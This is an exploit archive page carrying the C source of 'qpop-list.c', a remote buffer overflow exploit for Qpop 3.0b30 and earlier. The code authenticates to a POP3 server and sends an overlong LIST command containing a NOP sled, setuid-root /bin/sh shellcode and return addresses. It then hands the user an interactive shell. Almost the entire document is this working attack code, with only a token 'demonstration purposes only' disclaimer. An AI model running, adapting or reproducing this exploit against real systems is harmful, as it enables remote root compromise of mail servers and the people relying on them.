exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

qpop-list.c

qpop-list.c
Posted Feb 22, 2000
Authored by Portal | Site security.is

Qpop3.0b30 and below buffer overflow exploit. Remote, but requires username and password.

tags | exploit, remote, overflow
SHA-256 | 5bb66376ba934f2d28de1c8aeb6fd8c5a2ffc62e7eeb4f7942ea86aa3d8efd43

qpop-list.c

Change Mirror Download
/*
* Linux(x86) - Crappy exploit for QPOP3.0's LIST bug - PUBLIC VERSION
*
* This vulnerability was finally made public in January 2000.
* Discovered and exploited by p0rTaL (portal@security.is) Nov 20th 1999
* Greetings go to the security.is team, (\x90, DiGiT, duke, doze), #!teso
* and Ircnet's #hax.
* Compiles on Linux, porting should be easy.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <getopt.h>
#include <unistd.h>
#include <signal.h>
#include <errno.h>


#define MAX_TYPE 1
#define MAX_SHELLCODE 2
#define NOP '\x90' /* x86 only */
#define APPEND_ADDRESSES 5

#define HARDCORE
#define DEBUG

#define LINEFEED "\r\n"


int sock = -1;
int port = 110; //this ought to be the default
int type = 0;
int shellcode_num = -1; //use the default
int offset = 0;
int impact_place = 995;
int appenders = APPEND_ADDRESSES;
unsigned char buffer[1500];
struct in_addr in;
char *victim = NULL;


typedef struct
{
char *platform;
char *function;
char *code;
} SHELLCODE;


typedef struct
{
char *platform;
char *version;
char *tested_on;
SHELLCODE *shellcode;
unsigned long address;
} PLATFORM;


SHELLCODE shellcodes[] =
{
{
"Linux libc", "Standard dup2() /bin/bash interactive pipe",

/* this is setreuid(0, 0), additionally bypasses using
islower() characters, and various newlines */
"\x31\xdb\x31\xc9\xb0\x40\x83\xc0\x06\xcd\x80"
/* this is setuid(0) */
"\xb0\x17\x31\xdb\x31\xc9\xcd\x80"
"\x31\xdb\xb0\x1b\xcd\x80\x31\xc0\xb0\x02\xcd\x80\x85\xc0"
"\x75\x32\x31\xdb\x89\xd9\xb1\x01\x31\xc0\xb0\x3f\xcd\x80"
"\x31\xdb\x89\xd9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80"
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh........."
}, {
NULL, NULL, NULL
}
};


PLATFORM platforms[] =
{
{ "Slackware Linux", "3.0b20", "4.0", &shellcodes[0], 0xbffff3e3 },
{ NULL, NULL, NULL, 0, 0 }
};


struct
{
char on;
unsigned long start;
unsigned long now;
unsigned long end;
int step;
} bruteforce;



void do_lookup (void)
{
struct hostent *he;

if ( (he = gethostbyname (victim)) != NULL)
{
memcpy (&in, he->h_addr, he->h_length);
printf ("Resolved %s to %s\n", victim, inet_ntoa(in));
} else
if ( (inet_aton (victim, &in)) < 0)
{
fprintf (stderr, "Unable to resolve %s. (errno == %d)\n", victim, errno);
exit (-1);
}

if ( (sock = socket (AF_INET, SOCK_STREAM, 0)) < 0)
{
fprintf (stderr, "\"Socketation\" failed. (errno == %d)\n", errno);
exit (-1);
}
}


void do_connect (void)
{
struct sockaddr_in si;

memset ((char *)&si, '\0', sizeof (si)); //should clean sin_zero as well
si.sin_family = AF_INET;
si.sin_addr.s_addr = in.s_addr;
si.sin_port = htons(port);

if ( (connect (sock, (struct sockaddr *) &si, sizeof (si))) < 0)
{
fprintf (stderr, "Unable to connect to %s:%d, errno == %d\n", victim, port, errno);
exit (-1);
}


// connect (sock, (struct sockaddr *)&si, sizeof(si));
}



void usage(char *progname)
{
int i;

printf ("QPOP3.0-LIST remotely local exploit :)\n");
printf ("Discovered and exploited Nov. 20th 1999 by p0rTaL (portal@security.is)\n\n");
printf ("%s <hostname> <user> <passwd> [-p port] [-t type] [-o offset] [-s shellcode]\n", progname);
printf ("Currently supported platforms:\n");

for (i = 0; platforms[i].platform != NULL; i++)
printf ("%d: %s %s, QPOP %s, shellcode %s - %#x\n", i, platforms[i].platform, platforms[i].tested_on,
platforms[i].version, platforms[i].shellcode->platform, platforms[i].address);

printf ("\nCurrent shellcodes:\n");
for (i = 0; shellcodes[i].platform != NULL; i++)
printf ("%d: %s (%d bytes) - %s\n", i, shellcodes[i].platform, strlen (shellcodes[i].code), shellcodes[i].function);

printf ("\n This exploit is for demonstration purposes only. You, and only you, are\n");
printf (" responsible for your OWN actions.\n\n");
exit (0);
}



void receive (void)
{
unsigned char buf[1500+1];
int i;

memset (buf, '\0', sizeof(buf));
if ( (read (sock, buf, sizeof(buf)-1)) < 0)
{
fprintf (stderr, "An error occured while reading from the server. (errno == %d)\n", errno);
close (sock);
exit (-1);
}
printf ("READ: \033[1;34m");
for (i = 0; i < strlen(buf); i++)
printf ("%02x ", buf[i]);

printf ("\033[0;37m\n(%s)\n", buf);
}


void transmit (char *string) //no need for a VA list
{
if ( (write (sock, string, strlen(string))) < 0)
{
fprintf (stderr, "An error occured during a write attempt to the server. (errno == %d)\n", errno);
exit (-1);
}
}


void terminal (int sock)
{
char buffer[1024+1];
fd_set remote_fds;
fd_set local_fds;
int i;

for (i = 0; i < NSIG; i++)
if (i != SIGINT) //allow the user to ctrl+c out
signal (i, SIG_IGN);

FD_ZERO (&local_fds);
FD_SET (0, &local_fds);
FD_SET (sock, &local_fds);

while (1)
{
memcpy (&remote_fds, &local_fds, sizeof(local_fds));
if ( (i = select (sock + 1, &remote_fds, NULL, NULL, NULL)) < 0)
{
fprintf (stderr, "Error, select() returned %d, errno is %d\n", i, errno);
exit(-1);
}
if (i == 0)
{
fprintf (stderr, "Session was terminated remotely.\n");
exit(0);
}
if (FD_ISSET (sock, &remote_fds))
{
if ( (i = read(sock, buffer, sizeof(buffer))) < 0)
{
/* the user got disconnected, most probably */
#ifdef DEBUG
fprintf (stderr, "read() failed, returned %d, errno is %d\n", i, errno);
#endif
fprintf (stderr, "\nDisconnected!\n");
exit(0);
}
write (1, buffer, i); //stdout, receive
// receive();
}

if (FD_ISSET (0, &remote_fds))
{
memset (buffer, '\0', sizeof(buffer));
if ( (i = read(0, buffer, sizeof(buffer))) < 0)
{
fprintf (stderr, "read() returned %d, errno is %d\n", i, errno);
exit(-1);
}
write (sock, buffer, i); //transmit
}
}
}


void log_on (char *user, char *password, int sock)
{
char buf[1024+1];
int messages = 0;

printf ("-> Authenticating ...\n");

write (sock, "USER ", 5);
write (sock, user, strlen(user));
write (sock, LINEFEED, strlen(LINEFEED));
usleep (500000); //assuming great bandwidth
memset (buf, '\0', sizeof(buf));
if ( (read (sock, buf, sizeof(buf)-1)) < 0)
{
fprintf (stderr, "Remote server closed the connection during USER phase.\n");
close (sock);
exit(-1);
}
#ifdef DEBUG
printf (" READ: (%s)\n", buf);
#endif
write (sock, "PASS ", 5);
write (sock, password, strlen(password));
write (sock, LINEFEED, strlen(LINEFEED));
usleep (500000);
memset (buf, '\0', sizeof(buf));
if ( (read (sock, buf, sizeof(buf)-1)) < 0)
{
fprintf (stderr, "Remote server closed the connection during PASS phase.\n");
close (sock);
exit(-1);
}
if ( (strstr (buf, "+OK")) && (strstr (buf, "message")) )
{
printf ("-> Successfully logged on as \"%s\"\n", user);
*(strstr (buf, " message")) = '\0'; //terminate it
messages = atoi( (char *)(strstr (buf, "has") + 4) );
printf ("-> Message%s: %d ", (messages == 1) ? "" : "s", messages);
if (messages <= 0)
{
printf ("\033[1;31m=\033[0;37m Not OK\n\n"
"ERROR: The LIST vulnerability cannot be exploited except\n"
" if there are existing messages in the mailbox.\n"
" Go send yourself a mail :)\n");
close (sock);
exit (-1);
}
printf ("- OK\n");
} else {
fprintf (stderr, "Unable to log on, incorrect user/password or something.\n");
fprintf (stderr, "Last response from server:\n\"%s\"\n", buf);
close (sock);
exit(-1);
}
}



int main(int argc, char **argv)
{
int i, next_arg = 0;
char *progname = argv[0];
char *remote_user = NULL,
*remote_passwd = NULL,
*message_number = strdup("1");

if (argc < 4)
usage(progname);

memset ((char *)&bruteforce, '\0', sizeof((char *)&bruteforce));

victim = (char *)strdup(argv[1]);
argv++;
argc--;

remote_user = (char *)strdup(argv[1]);
argv++;
argc--;

remote_passwd = (char *)strdup(argv[1]);
argv++;
argc--;

while ( (next_arg = getopt(argc, argv, "p:t:s:o:r:i:b")) != EOF)
switch (next_arg)
{
case 'p':
if ( (atoi(optarg) < 0) || (atoi(optarg) > 65535) )
{
fprintf (stderr, "Outrageous port-number! Stick with a number below 65535 (and above zero)\n");
usage (progname);
}
port = atoi(optarg);
printf (" -> Port set to %d.\n", port);
break;
case 't':
if ( (atoi(optarg) < 0) || (atoi(optarg) > MAX_TYPE) )
{
fprintf (stderr, "Invalid type, should range from 0 to %d.\n", MAX_TYPE);
usage (progname);
}
type = atoi(optarg);
printf (" -> Type set to %d, %s %s.\n", type, platforms[type].platform, platforms[type].tested_on);
break;
case 's':
if ( (atoi(optarg) < 0) || (atoi(optarg) > MAX_SHELLCODE) )
{
fprintf (stderr, "Invalid shellcode number, should range from 0 to %d.\n", MAX_SHELLCODE);
usage (progname);
}
shellcode_num = atoi(optarg);
printf (" -> Shellcode set for %s, %s.\n", shellcodes[shellcode_num].platform, shellcodes[shellcode_num].function);
break;
case 'o':
if (bruteforce.on == 1)
{
fprintf (stderr, "You cannot specify -offset and -bruteforce at the same time.\nMake up your mind!\n");
exit (-1);
}
offset = atoi(optarg);
printf (" -> Offset set to %d.\n", offset);
break;
case 'b':
bruteforce.on = 1;
printf (" -> Bruteforce mode selected (not fully implemented in this version)\n");
printf (" -> Enter offsets seperated with a space, and a 'step' number (e.g. \"bfffffff bffff000 4\"):\n ");
if ( (fscanf (stdin, "%x %x %d", &bruteforce.start, &bruteforce.end, &bruteforce.step)) != 3)
{
fprintf (stderr, "Unknown offsets.\n");
exit (-1);
}
break;
case 'i':
impact_place = atoi(optarg);
printf (" -> Place of impact set to %d.\n", impact_place);
break;
case 'r':
appenders = atoi(optarg);
printf (" -> Number of return addresses set to %d.\n", appenders);
break;
case 'm':
message_number = strdup(optarg);
printf ("-> Message number set to \"%.10s\".\n", message_number);
break;
default:
fprintf (stderr, "Fictional option: '%c', please take your medication.\n", next_arg);
usage (progname);
break;
}

do_lookup();

printf ("\nAttacking %s, a %s %s host\n", victim, platforms[type].platform, platforms[type].tested_on);

if (shellcode_num != -1)
{
platforms[type].shellcode = &(shellcodes[shellcode_num]);
printf (" - Using %s shellcode\n", shellcodes[shellcode_num].platform);
} else
printf (" - Using the default shellcode, %s\n", platforms[type].shellcode->platform);

if (bruteforce.on == 0)
{
platforms[type].address -= offset;
printf (" - Using return address %#x\n", platforms[type].address);
printf ("\nAssembling shellspawning code\n");
} else
printf (" - Going to bruteforce from %#x to %#x in steps of %d\n", bruteforce.start, bruteforce.end, bruteforce.step);

printf ("-> Connecting to %s, port %d\n", inet_ntoa(in), port);

do_connect();
receive ();
log_on (remote_user, remote_passwd, sock);

memset (buffer, '\0', sizeof(buffer));
sprintf (buffer, "list %.10s ", message_number); //the bug lies in pop_list.c
/* I do the '%s' to allow the possibility to enter '0001', in order
a non-working length of <nops>+<shellcode>+<ret>... (theoretically ;) */


#ifdef DEBUG
printf ("Step 1, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
#endif

memset (buffer+strlen(buffer), NOP, sizeof(buffer)-strlen(buffer)-1);

#ifdef DEBUG
printf ("Step 2, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
#endif

strncpy (buffer + impact_place - strlen(platforms[type].shellcode->code), platforms[type].shellcode->code,
sizeof(buffer) - impact_place - 5 - 1);
//impact_place + strlen(platforms[type].shellcode->code) - (APPEND_ADDRESSES * sizeof(platforms[type].address) + 2) - 1);

#ifdef DEBUG
printf ("Step 3, sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
#endif

i = 0;

while (i < appenders)
{
/*
o = buffer + strlen(buffer);
*(o) = (platforms[type].address & 0x000000ff);
*(o+1) = (platforms[type].address & 0x0000ff00) >> 8;
*(o+2) = (platforms[type].address & 0x00ff0000) >> 16;
*(o+3) = (platforms[type].address & 0xff000000) >> 24;
*(o+4) = '\0';
*/

memcpy ((char *)&buffer + strlen(buffer), &platforms[type].address, 4);
#ifdef HARDCORE
printf ("-> sizeof(buffer) = %d, strlen = %d\n", sizeof(buffer), strlen(buffer));
#endif
i++;
}

strcpy (buffer + strlen(buffer), "\x0d\x0a"); // \x00 gets appended automatically


#ifdef HARDCORE
printf ("Code is:\n\033[1;31m");
for (i = 0; i < strlen(buffer); i++)
printf ("%02x ", buffer[i]);

printf ("\033[0;37m\n");
#endif

transmit (buffer);
receive ();
printf ("Got shell!\n");


terminal (sock);

close (sock);
//not reached

return (0);
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close